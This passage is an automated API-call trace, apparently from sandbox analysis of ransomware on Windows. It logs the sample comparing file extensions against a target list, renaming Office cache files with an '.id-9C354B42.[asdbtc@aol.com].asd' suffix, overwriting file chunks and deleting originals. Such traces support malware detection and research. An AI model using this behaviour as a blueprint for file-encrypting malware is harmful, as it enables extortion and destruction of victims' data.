(lpString1=".docx", lpString2="R.cab") returned -1 [0046.263] lstrlenW (lpString=".pdf") returned 4 [0046.263] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.263] lstrlenW (lpString=".xls") returned 4 [0046.263] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.263] lstrlenW (lpString=".xlsx") returned 5 [0046.263] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.263] lstrlenW (lpString=".ppt") returned 4 [0046.263] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0046.263] lstrlenW (lpString=".zip") returned 4 [0046.263] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.263] lstrlenW (lpString=".rar") returned 4 [0046.263] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.263] lstrlenW (lpString=".bz2") returned 4 [0046.263] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.263] lstrlenW (lpString=".7z") returned 3 [0046.263] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0046.263] lstrlenW (lpString=".dbf") returned 4 [0046.263] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0046.263] lstrlenW (lpString=".1cd") returned 4 [0046.263] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0046.263] lstrlenW (lpString=".jpg") returned 4 [0046.263] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0046.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0046.264] lstrlenW (lpString=".doc") returned 4 [0046.264] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.264] lstrlenW (lpString=".docx") returned 5 [0046.264] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.264] lstrlenW (lpString=".pdf") returned 4 [0046.264] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.264] lstrlenW (lpString=".xls") returned 4 [0046.264] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.264] lstrlenW (lpString=".xlsx") returned 5 [0046.264] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.264] lstrlenW (lpString=".ppt") returned 4 [0046.264] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0046.264] lstrlenW (lpString=".zip") returned 4 [0046.264] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.264] lstrlenW (lpString=".rar") returned 4 [0046.264] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.264] lstrlenW (lpString=".bz2") returned 4 [0046.264] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.264] lstrlenW (lpString=".7z") returned 3 [0046.264] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0046.264] lstrlenW (lpString=".dbf") returned 4 [0046.264] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0046.265] lstrlenW (lpString=".1cd") returned 4 [0046.265] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0046.265] lstrlenW (lpString=".jpg") returned 4 [0046.265] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.265] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0046.265] lstrlenW (lpString="Proof.cab") returned 9 [0046.265] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.265] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=11482605) returned 1 [0046.265] CloseHandle (hObject=0x1a8) returned 1 [0046.266] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020 [0046.266] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0046.266] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0046.266] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.267] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0x0) returned 1 [0046.267] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.267] ReadFile (in: hFile=0x1a8, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.968] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0046.968] ReadFile (in: hFile=0x1a8, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.028] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.028] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.028] ReadFile (in: hFile=0x1a8, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.056] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.056] WriteFile (in: hFile=0x1a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x32bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0047.311] SetEndOfFile (hFile=0x1a8) returned 1 [0047.311] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fd5be8 [0047.314] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.314] WriteFile (in: hFile=0x1a8, lpBuffer=0x3fd5be8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd5be8*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.315] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.315] WriteFile (in: hFile=0x1a8, lpBuffer=0x3fd5be8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd5be8*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.317] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.317] WriteFile (in: hFile=0x1a8, lpBuffer=0x3fd5be8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd5be8*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.320] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fd5be8 | out: hHeap=0x510000) returned 1 [0047.320] CloseHandle (hObject=0x1a8) returned 1 [0049.960] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0049.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0049.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0049.961] lstrlenW (lpString=".doc") returned 4 [0049.961] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.961] lstrlenW (lpString=".docx") returned 5 [0049.961] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0049.961] lstrlenW (lpString=".pdf") returned 4 [0049.961] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.961] lstrlenW (lpString=".xls") returned 4 [0049.961] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.961] lstrlenW (lpString=".xlsx") returned 5 [0049.961] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0049.961] lstrlenW (lpString=".ppt") returned 4 [0049.961] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0049.961] lstrlenW (lpString=".zip") returned 4 [0049.961] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.961] lstrlenW (lpString=".rar") returned 4 [0049.961] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.961] lstrlenW (lpString=".bz2") returned 4 [0049.961] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.961] lstrlenW (lpString=".7z") returned 3 [0049.961] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0049.961] lstrlenW (lpString=".dbf") returned 4 [0049.961] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0049.961] lstrlenW (lpString=".1cd") returned 4 [0049.961] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.961] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0049.961] lstrlenW (lpString=".jpg") returned 4 [0049.961] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0049.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0049.962] lstrlenW (lpString=".doc") returned 4 [0049.962] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.962] lstrlenW (lpString=".docx") returned 5 [0049.962] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0049.962] lstrlenW (lpString=".pdf") returned 4 [0049.962] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.962] lstrlenW (lpString=".xls") returned 4 [0049.962] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.962] lstrlenW (lpString=".xlsx") returned 5 [0049.962] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0049.962] lstrlenW (lpString=".ppt") returned 4 [0049.962] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0049.962] lstrlenW (lpString=".zip") returned 4 [0049.962] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.962] lstrlenW (lpString=".rar") returned 4 [0049.962] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.962] lstrlenW (lpString=".bz2") returned 4 [0049.962] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.962] lstrlenW (lpString=".7z") returned 3 [0049.962] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0049.962] lstrlenW (lpString=".dbf") returned 4 [0049.962] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0049.962] lstrlenW (lpString=".1cd") returned 4 [0049.962] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0049.962] lstrlenW (lpString=".jpg") returned 4 [0049.963] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.963] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0049.963] lstrlenW (lpString="Proofing.msi") returned 12 [0049.963] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0049.963] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=868864) returned 1 [0049.963] CloseHandle (hObject=0x1dc) returned 1 [0049.963] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0049.963] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0049.963] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0049.964] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.964] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.964] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0049.964] GetLastError () returned 0x0 [0049.964] ReadFile (in: hFile=0x1dc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x32bfed4*=0xd4200, lpOverlapped=0x0) returned 1 [0049.991] WriteFile (in: hFile=0x1a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x32bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0050.357] ReadFile (in: hFile=0x1dc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x32bfed4*=0x0, lpOverlapped=0x0) returned 1 [0050.357] WriteFile (in: hFile=0x1a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.357] SetEndOfFile (hFile=0x1a8) returned 1 [0050.357] CloseHandle (hObject=0x1a8) returned 1 [0050.367] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0050.367] SetEndOfFile (hFile=0x1dc) returned 1 [0050.376] CloseHandle (hObject=0x1dc) returned 1 [0050.376] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0050.376] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0050.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.377] lstrlenW (lpString=".doc") returned 4 [0050.377] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.377] lstrlenW (lpString=".docx") returned 5 [0050.377] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0050.377] lstrlenW (lpString=".pdf") returned 4 [0050.377] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.377] lstrlenW (lpString=".xls") returned 4 [0050.377] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.377] lstrlenW (lpString=".xlsx") returned 5 [0050.377] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0050.377] lstrlenW (lpString=".ppt") returned 4 [0050.377] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.377] lstrlenW (lpString=".zip") returned 4 [0050.377] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.377] lstrlenW (lpString=".rar") returned 4 [0050.377] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.377] lstrlenW (lpString=".bz2") returned 4 [0050.377] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.377] lstrlenW (lpString=".7z") returned 3 [0050.377] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.378] lstrlenW (lpString=".dbf") returned 4 [0050.378] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.378] lstrlenW (lpString=".1cd") returned 4 [0050.378] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.378] lstrlenW (lpString=".jpg") returned 4 [0050.378] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.378] lstrlenW (lpString=".doc") returned 4 [0050.378] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.378] lstrlenW (lpString=".docx") returned 5 [0050.378] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0050.378] lstrlenW (lpString=".pdf") returned 4 [0050.378] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.378] lstrlenW (lpString=".xls") returned 4 [0050.378] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.378] lstrlenW (lpString=".xlsx") returned 5 [0050.378] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0050.378] lstrlenW (lpString=".ppt") returned 4 [0050.378] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.378] lstrlenW (lpString=".zip") returned 4 [0050.378] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.378] lstrlenW (lpString=".rar") returned 4 [0050.379] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.379] lstrlenW (lpString=".bz2") returned 4 [0050.379] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.379] lstrlenW (lpString=".7z") returned 3 [0050.379] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.379] lstrlenW (lpString=".dbf") returned 4 [0050.379] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.379] lstrlenW (lpString=".1cd") returned 4 [0050.379] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0050.379] lstrlenW (lpString=".jpg") returned 4 [0050.379] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.379] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0050.379] lstrlenW (lpString="InfLR.cab") returned 9 [0050.379] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0050.380] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=18874884) returned 1 [0050.380] CloseHandle (hObject=0x1dc) returned 1 [0050.380] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0050.380] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.380] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0050.381] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0050.381] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0x0) returned 1 [0050.381] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, 